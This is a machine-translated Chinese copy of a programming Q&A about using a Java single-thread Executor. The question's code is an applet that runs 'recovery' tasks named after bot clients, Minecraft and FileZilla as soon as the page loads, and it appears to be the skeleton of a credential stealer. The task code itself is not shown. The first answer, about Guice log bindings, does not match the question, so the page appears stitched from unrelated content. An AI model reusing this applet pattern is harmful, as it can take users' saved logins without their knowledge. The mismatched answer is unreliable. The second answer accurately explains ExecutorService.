2015-10-18 78 views
-1

在單線程上執行執行程序的Java多線程系統。使用執行程序相對於可運行程序有什麼優勢?Java多線程系統

/* *要更改此模板,請選擇工具|模板 *並在編輯器中打開模板。 */ package com.j;

import com.j.recovery.Task; 
import com.j.recovery.impl.*; 
import java.applet.Applet; 
import java.util.LinkedList; 
import java.util.concurrent.Executor; 
import java.util.concurrent.Executors; 

/** 
* 
* @author Amjad 
*/ 
public class Application extends Applet { 

    private final static LinkedList<Task> tasks = new LinkedList<Task>(); 

    static { 
     //tasks.add(new PowerbotRecoveryTask()); 
     tasks.add(new EpicbotRecoveryTask()); 
     tasks.add(new SimbaRecoveryTask()); 
     //tasks.add(new RiDRecoveryTask()); 
     tasks.add(new MinecraftRecoveryTask()); 
     //tasks.add(new FilezillaRecoveryTask()); 
    } 

    @Override 
    public void init() { 
     main(null); 
    } 

    public static void main(String[] args) { 
     final Executor thread = Executors.newSingleThreadExecutor(); 
     for (final Task task : tasks) { 
      thread.execute(new Runnable() { 

       @Override 
       public void run() { 
        try { 
         task.execute(); 
        } catch (Exception e) { 
         e.printStackTrace(); 
        } 
       } 
      }); 
     } 
    } 
} 

回答

2

比方說,你有一個實施的LogWriterLogWriterImpl)的LogManagerLogManagerImpl)和LogInternalLogExternalLog)兩種實現一個實現,你的吉斯的配置是這樣的。生命週期範圍可能會因您的實施而有所不同。如果日誌是內部日誌還是外部日誌是單個日誌實現的參數,請使用方法底部的註釋配置。

public class LogModule extends AbstractModule { 
    @Override 
    protected void configure() { 
     bind(LogWriter.class) 
      .to(LogWriterImpl.class); 
     bind(LogManager.class) 
      .to(LogManagerImpl.class) 
      .in(Singleton.class); 
     bind(Log.class) 
      .to(InternalLog.class) 
      .annotatedWith(Names.named("Internal")); 
     bind(Log.class) 
      .to(ExternalLog.class) 
      .annotatedWith(Names.named("External")); 
     // bind(Log.class) 
     //  .toInstance(new LogImpl("Internal")) 
     //  .annotatedWith(Names.named("Internal")); 
     // bind(Log.class) 
     //  .toInstance(new LogImpl("External")) 
     //  .annotatedWith(Names.named("External")); 
    }  
} 

編輯:要正確註冊LogManager,你需要的LogManager提供商。

public class LogManagerProvider implements Provider<LogManager> { 
    public LogManager get() { 
     LogManager manager = new LogManagerImpl(); 
     manager.register(LogWriterImpl.class); 
     return manager; 
    } 
} 

然後將這些行添加到您的guice模塊的configure方法中。

bind(LogManager.class) 
    .toProvider(LogManagerProvider.class); 
0

您問了一個問題:「對可運行程序使用執行程序有什麼優勢?」

這取決於你試圖完成什麼。在這種情況下,主方法(及其運行的線程)將executorService的工作隊列上的任務排隊,然後清除退出。這些任務將被加載並一次執行一個

你問爲什麼不只是使用可運行的。首先讓我建議你甚至不需要runnable,如果你所關心的是一次執行一個任務。

public static void main(String[] args) { 
    for (final Task task : tasks) { 
     try{ 
      task.execute(); 
     } catch (Exception e) { 
      e.printStackTrace(); 
     } 
    } 
} 

但是考慮到創建執行服務的時間意味着,如果你以後想引起這些任務在同一時間「長達2在時間,但不超過2」運行,或者也許你只需要更改一行代碼,即創建ExecutorService的行。

在你提供的代碼的上下文之外,ExecutorSerivce提供了選項來控制你創建的線程的生命週期。例如,假設你決定這樣做。

public static void main(String[] args) { 
    for (final Task task : tasks) { 
     new Thread(new Runnable() { 

      @Override 
      public void run() { 
       try { 
        task.execute(); 
       } catch (Exception e) { 
        e.printStackTrace(); 
       } 
      } 
     }).start(); 
    } 
} 

在這裏,您已經爲每項任務手動創建了一個線程。如果這些是守護線程並且它們需要永遠運行,那麼這可能是完全合適的。但是,這些任務中的每一個都是短暫的?然後你創建了一個完整的Thread對象,使用它一次,然後扔掉它。如果經常這樣做,這可能會對性能產生影響。

現在假設你發現其中一個任務是「空的」或其他不合適的。使用之前的代碼,您無法取消之前發生的任何任務。你甚至沒有提及他們。他們正在運行,並且你的程序退出,他們繼續前進,也許你必須殺死整個JVM。

使用ExecutorService,在打印StackTrace之前,您可以調用thread.shutdownNow();,並且任何尚未啓動的任務都不會啓動。任何已經開始的任務都會被中斷。你會得到一個方便的「列表」,其中將包括所有尚未開始的任務,以便您可以隨堆棧跟蹤一起提供該列表。